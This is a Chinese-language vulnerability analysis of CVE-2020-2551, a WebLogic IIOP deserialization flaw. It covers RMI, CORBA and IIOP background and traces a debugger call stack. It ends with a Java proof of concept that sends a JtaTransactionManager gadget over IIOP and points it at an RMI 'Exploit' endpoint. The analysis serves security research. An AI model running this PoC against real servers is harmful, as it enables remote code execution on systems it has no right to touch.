No.1 聲明
由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。
雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用於商業目的。
No.2 漏洞概述
2020年1月15日, Oracle官方發布了CVE-2020-2551的漏洞通告,漏洞等級為高危,CVVS評分為9.8分,漏洞利用難度低。影響範圍為10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0。
No.3 前置知識
相關概念
RMI: RMI英文全稱為Remote Method Invocation,字面的意思就是遠程方法調用,其實本質上是RPC服務的JAVA實現,底層實現是JRMP協議,TCP/IP作為傳輸層。通過RMI可以方便調用遠程對象就像在本地調用一樣方便。使用的主要場景是分布式系統。CORBA: Common Object Request Broker Architecture(公共對象請求代理體系結構)是由OMG(Object Management Group)組織制定的一種標準分布式對象結構。使用平臺無關的語言IDL(interface definition language)描述連接到遠程對象的接口,然後將其映射到制定的語言實現。IIOP: CORBA對象之間交流的協議,傳輸層為TCP/IP。它提供了CORBA客戶端和服務端之間通信的標準。借用知道創宇《關於 Java 中的 RMI-IIOP》一文來梳理一下JDK自身IIOP的一些處理過程,通過
rmic -iiop com.longofo.example.HelloImpl
在rmi-jndi-ldap-jrmp-jmx-jms-master/rmi-iiop/target/classes這個目錄下進行編譯,編譯好會在這個路徑下多出這些文件。
然後通過下面命令,啟動一個命名伺服器。
orbd -ORBInitialPort 1050 -ORBInitialHost loaclhost
IOR幾個關鍵欄位:
Type ID:接口類型,也稱為存儲庫ID格式。本質上,存儲庫ID是接口的唯一標識符。例如上面的IDL:omg.org/CosNaming/NamingContext:1.0IIOP version:描述由ORB實現的IIOP版本Host:標識ORB主機的TCP/IP位址Port:指定ORB在其中偵聽客戶端請求的TCP/IP埠號Object Key:唯一地標識了被ORB導出的servantComponents:包含適用於對象方法的附加信息的序列,例如支持的ORB服務和專有協議支持等Codebase:用於獲取stub類的遠程位置。通過控制這個屬性,攻擊者將控制在伺服器中解碼IOR引用的類,在後面利用中我們能夠看到。通過wireshakr進行抓包,查看數據包長什麼樣,首先 85 和 87 是客戶端與 ordb 通信的數據包。
先看85這個數據包,像ordb通信尋找服務端。
然後87這個數據包,就返回告訴他服務端的IP埠信息。
之後繼續往下走,可以看到反序列化的觸發的惡意類 EvilMessage 被封裝在了Stub data中,但是他並不是一個標準的Java反序列化過程。
回到項目,我決定在命令執行的地方下個斷點,看看數據流是怎麼走的,這是一個調用棧,其實可以很清楚的看到,由於與 CORBA 有關係,所以相關的類實際上都是在com.sun.corba這個類當中。
readObject:9, EvilMessage (com.longofo.example)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)invokeObjectReader:1722, IIOPInputStream (com.sun.corba.se.impl.io)inputObject:1240, IIOPInputStream (com.sun.corba.se.impl.io)simpleReadObject:416, IIOPInputStream (com.sun.corba.se.impl.io)readValueInternal:341, ValueHandlerImpl (com.sun.corba.se.impl.io)readValue:307, ValueHandlerImpl (com.sun.corba.se.impl.io)read_value:977, CDRInputStream_1_0 (com.sun.corba.se.impl.encoding)read_value:271, CDRInputStream (com.sun.corba.se.impl.encoding)_invoke:-1, _HelloImpl_Tie (com.longofo.example)dispatchToServant:654, CorbaServerRequestDispatcherImpl (com.sun.corba.se.impl.protocol)dispatch:205, CorbaServerRequestDispatcherImpl (com.sun.corba.se.impl.protocol)handleRequestRequest:1700, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)handleRequest:1558, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)handleInput:940, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)callback:198, RequestMessage_1_2 (com.sun.corba.se.impl.protocol.giopmsgheaders)handleRequest:712, CorbaMessageMediatorImpl (com.sun.corba.se.impl.protocol)dispatch:474, SocketOrChannelConnectionImpl (com.sun.corba.se.impl.transport)doWork:1237, SocketOrChannelConnectionImpl (com.sun.corba.se.impl.transport)performWork:490, ThreadPoolImpl$WorkerThread (com.sun.corba.se.impl.orbutil.threadpool)run:519, ThreadPoolImpl$WorkerThread (com.sun.corba.se.impl.orbutil.threadpool)
這裡我選擇從 CorbaMessageMediatorImpl#handleRequestRequest 這裡開始看,因為後面都是開始處理輸入的數據了,在 messageMediator 對象中存放都是從客戶端發送的請求數據對象。
跟進 CorbaServerRequestDispatcherImpl#dispatch ,這裡需要慢慢看,通過 request.getObjectKey 獲取請求數據包中的 Object Key ,也就是唯一地標識了被 ORB 導出的 servant 。
這一步和之前的Okey都有關係,取出相關聯的數據,通過 getServantWithPI 進行處理,獲取 servant 。
跟進 getServantWithPI 進行處理,Servant 對象通過 getServant 進行處理獲取得到,然後 mdi 通過 objectAdapter.getInterfaces 方法通過 Servant 和 objectId 獲取我們這裡的接口RMI:com.longofo.example.HelloInterface:0000000000000000,objectId 是通過前面 Okey 弄到的。
然後會調用 dispatchToServant 進行處理,在CorbaServerRequestDispatcherImpl#dispatchToServant當中有幾個if判斷,而這幾個判斷都是和 method 或者 servant 有關係,method 是通過 request 對象中的 Operation ,通過SpecialMethod.getSpecialMethod搞定的。
然後幾個if判斷是如下所示:
if (method != null)if (servant instanceof org.omg.CORBA.DynamicImplementation)if (servant instanceof org.omg.PortableServer.DynamicImplementation)
而這裡最後來到的觸發點是else這裡。
OutputStream stream =(OutputStream)invhandle._invoke( operation, (org.omg.CORBA.portable.InputStream)req.getInputObject(), req);
而我們剛剛通過rmic -iiop com.longofo.example.HelloImpl創建的_HelloImpl_Tie實際上這裡有個_invoke方法,通過 read_value 從 request 請求中讀取數據,而我們看到 CDRInputStream 當中的 read_value 實際上和 Java 的序列化接口 Serializable 有關係,所以這裡也可以解釋為什麼是序列化,但是又不是標準的 InputStream 數據流。
而之後就是一些反序列化過程,比如這裡抓到了反序列化的觸發類。
然後通過 IIOPInputStream#invokeObjectReader 進行反射調用。
所以到這裡可以理解了,實際上IIOP也是一種序列化反序列化的方式,字節流與正常的Java反序列化稍微有點不太一樣。
No.4 Weblogic IIOP
搜索weblogic IIOP關鍵字的時候,找到一些關鍵詞,比如 Invoking-weblogic-ejb-iiop ,還有下圖中的一些demo,似乎和這些有關係。
而我們知道,weblogic之前是在T3位置進行反序列化檢查,IIOP位置沒有,通過搜尋引擎很快就能找到這個
Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory"Context.PROVIDER_URL, "t3://localhost:7001"
如果把T3改成IIOP是否可以把一個對象發送過去的,讓伺服器自己搞定呢,理由是可以的,weblogic 的RMI-IIOP模型如下:
從官方給的demo中可以看到,要實現這個需要繼承java.rmi.Remote,然後通過 bind 綁定對象,即可觸發。
所以這裡需要通過一些辦法把它變成 Remote 有關係,這裡可以通過Yso內置的Gadgets.createMemoitizedProxy來實現,AnnotationInvocationHandler 這個用來動態代理,把我要構造的利用鏈封裝成 Remote 類型。
所以下面這個poc的實現想法就是這麼來的,把 jtaTransactionManager 封裝成一個 Remote 類型,在bind時候觸發。
public static void main(String[] args) throws Exception {String ip = "127.0.0.1"; String port = "7001"; Hashtable<String, String> env = new Hashtable<String, String>(); env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory"); env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port)); Context context = new InitialContext(env); // get Object to Deserialize JtaTransactionManager jtaTransactionManager = new JtaTransactionManager(); jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit"); Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class); context.bind("hello", remote); }
上面這個 poc 有個缺點,就是需要外連,還有種辦法RMIServerImpl_Stub當中是可以通過 newClient 來實現本地類直接 invoke 反射執行,當然這個點我目前找到的需要認證,存在一定的缺陷。
本文轉載自雷神眾測